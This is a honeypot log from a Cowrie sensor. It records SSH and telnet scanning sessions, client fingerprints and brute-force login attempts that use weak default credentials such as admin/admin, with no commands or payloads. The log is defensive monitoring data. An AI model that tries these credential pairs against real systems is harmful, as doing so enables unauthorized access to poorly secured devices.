{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57274,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeb16e86d5a3","protocol":"telnet","message":"New connection: 64.227.101.30:57274 (10.17.0.5:23) [session: aeb16e86d5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:58.083624Z"}
{"eventid":"cowrie.session.closed","duration":31.131723642349243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:58.726674Z","src_ip":"67.23.227.170","session":"8f5dd04954ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":57394,"dst_ip":"159.203.135.109","dst_port":23,"session":"a85b7db66426","protocol":"telnet","message":"New connection: 67.23.227.170:57394 (159.203.135.109:23) [session: a85b7db66426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:59.011602Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":57080,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcd2f3350433","protocol":"telnet","message":"New connection: 67.23.227.170:57080 (159.203.135.109:23) [session: bcd2f3350433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:59.067297Z"}
{"eventid":"cowrie.session.closed","duration":72.23009324073792,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:00.368846Z","src_ip":"64.227.101.30","session":"7b1559923a91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":58682,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b6a2a13a714","protocol":"telnet","message":"New connection: 68.183.198.12:58682 (159.203.135.109:23) [session: 8b6a2a13a714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:04.837497Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39086,"dst_ip":"10.17.0.5","dst_port":22,"session":"8493ccb93f8f","protocol":"ssh","message":"New connection: 87.251.64.176:39086 (10.17.0.5:22) [session: 8493ccb93f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:06.941228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:06.946955Z","src_ip":"87.251.64.176","session":"8493ccb93f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:07.044461Z","src_ip":"87.251.64.176","session":"8493ccb93f8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.478314161300659,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:07.315688Z","src_ip":"68.183.198.12","session":"8b6a2a13a714","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:07.335291Z","src_ip":"87.251.64.176","session":"8493ccb93f8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:07.435035Z","session":"8493ccb93f8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:07.533056Z","src_ip":"87.251.64.176","session":"8493ccb93f8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:07.766635Z","src_ip":"87.251.64.176","session":"8493ccb93f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":41640,"dst_ip":"159.203.135.109","dst_port":22,"session":"06457244f2c1","protocol":"ssh","message":"New connection: 42.200.66.164:41640 (159.203.135.109:22) [session: 06457244f2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:07.800590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:07.806811Z","src_ip":"42.200.66.164","session":"06457244f2c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:08.075338Z","src_ip":"42.200.66.164","session":"06457244f2c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.29877209663391,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:10.030054Z","src_ip":"64.227.101.30","session":"399bcce623c9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ff@123456","message":"login attempt [root/Ff@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:10.937876Z","src_ip":"42.200.66.164","session":"06457244f2c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:12.211666Z","src_ip":"42.200.66.164","session":"06457244f2c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.952383041381836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:14.633461Z","src_ip":"67.23.227.170","session":"5c932a7ac57c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.87256121635437,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:23.924058Z","src_ip":"64.227.101.30","session":"316998b8601c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.672303915023804,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:25.206032Z","src_ip":"68.183.198.12","session":"87e450497963","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.953192472457886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:30.020378Z","src_ip":"67.23.227.170","session":"bcd2f3350433","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44990,"dst_ip":"10.17.0.5","dst_port":23,"session":"370afd16b5b9","protocol":"telnet","message":"New connection: 64.227.101.30:44990 (10.17.0.5:23) [session: 370afd16b5b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:30.668013Z"}
{"eventid":"cowrie.session.closed","duration":33.00456619262695,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:32.016036Z","src_ip":"67.23.227.170","session":"a85b7db66426","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.986128091812134,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:32.038675Z","src_ip":"64.227.101.30","session":"f7de1105d768","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.208.25.163","src_port":57818,"dst_ip":"159.203.135.109","dst_port":22,"session":"e909e0601ba2","protocol":"ssh","message":"New connection: 8.208.25.163:57818 (159.203.135.109:22) [session: e909e0601ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:34.192427Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:34.197011Z","src_ip":"8.208.25.163","session":"e909e0601ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":32836,"dst_ip":"159.203.135.109","dst_port":23,"session":"48639e7eccd7","protocol":"telnet","message":"New connection: 67.23.227.170:32836 (159.203.135.109:23) [session: 48639e7eccd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:34.246477Z"}
{"eventid":"cowrie.session.closed","duration":37.03749442100525,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:35.120980Z","src_ip":"64.227.101.30","session":"aeb16e86d5a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":33162,"dst_ip":"159.203.135.109","dst_port":23,"session":"26adfeb290a7","protocol":"telnet","message":"New connection: 67.23.227.170:33162 (159.203.135.109:23) [session: 26adfeb290a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:36.892447Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":33284,"dst_ip":"159.203.135.109","dst_port":23,"session":"f283ae58d13e","protocol":"telnet","message":"New connection: 67.23.227.170:33284 (159.203.135.109:23) [session: f283ae58d13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:37.906796Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":48406,"dst_ip":"159.203.135.109","dst_port":22,"session":"458bd3607252","protocol":"ssh","message":"New connection: 43.243.142.42:48406 (159.203.135.109:22) [session: 458bd3607252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:40.856685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:40.862143Z","src_ip":"43.243.142.42","session":"458bd3607252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:41.116273Z","src_ip":"43.243.142.42","session":"458bd3607252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"111111","message":"login attempt [test1/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:42.126616Z","src_ip":"43.243.142.42","session":"458bd3607252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:43.388904Z","src_ip":"43.243.142.42","session":"458bd3607252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":33954,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5902c671d24","protocol":"telnet","message":"New connection: 67.23.227.170:33954 (159.203.135.109:23) [session: d5902c671d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:44.026415Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60582,"dst_ip":"10.17.0.5","dst_port":23,"session":"1690b1192e9f","protocol":"telnet","message":"New connection: 64.227.101.30:60582 (10.17.0.5:23) [session: 1690b1192e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:48.560721Z"}
{"eventid":"cowrie.session.closed","duration":0.005019426345825195,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:48.565634Z","src_ip":"64.227.101.30","session":"1690b1192e9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0033118724823,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:51.021010Z","src_ip":"68.183.198.12","session":"5ac2cf33166b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":44856,"dst_ip":"10.17.0.5","dst_port":22,"session":"d87f8f6652ca","protocol":"ssh","message":"New connection: 216.155.93.75:44856 (10.17.0.5:22) [session: d87f8f6652ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:53.707445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:53.712985Z","src_ip":"216.155.93.75","session":"d87f8f6652ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:53.865396Z","src_ip":"216.155.93.75","session":"d87f8f6652ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloud123","message":"login attempt [root/cloud123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:54.505676Z","src_ip":"216.155.93.75","session":"d87f8f6652ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:55.664046Z","src_ip":"216.155.93.75","session":"d87f8f6652ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":36044,"dst_ip":"159.203.135.109","dst_port":23,"session":"6154661ceb23","protocol":"telnet","message":"New connection: 67.23.227.170:36044 (159.203.135.109:23) [session: 6154661ceb23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:01:59.804426Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":45452,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd5e85944de8","protocol":"ssh","message":"New connection: 49.247.36.49:45452 (10.17.0.5:22) [session: dd5e85944de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:02.800011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:02.805435Z","src_ip":"49.247.36.49","session":"dd5e85944de8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:03.013482Z","src_ip":"49.247.36.49","session":"dd5e85944de8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"qwerty","message":"login attempt [dev/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:03.873464Z","src_ip":"49.247.36.49","session":"dd5e85944de8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":36172,"dst_ip":"159.203.135.109","dst_port":23,"session":"78779d1d94ee","protocol":"telnet","message":"New connection: 67.23.227.170:36172 (159.203.135.109:23) [session: 78779d1d94ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:03.880993Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:05.085039Z","src_ip":"49.247.36.49","session":"dd5e85944de8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35914,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cbf01c1711d","protocol":"telnet","message":"New connection: 64.227.101.30:35914 (10.17.0.5:23) [session: 3cbf01c1711d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:06.799572Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":32828,"dst_ip":"10.17.0.5","dst_port":23,"session":"145d52bb304d","protocol":"telnet","message":"New connection: 64.227.101.30:32828 (10.17.0.5:23) [session: 145d52bb304d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:07.115512Z"}
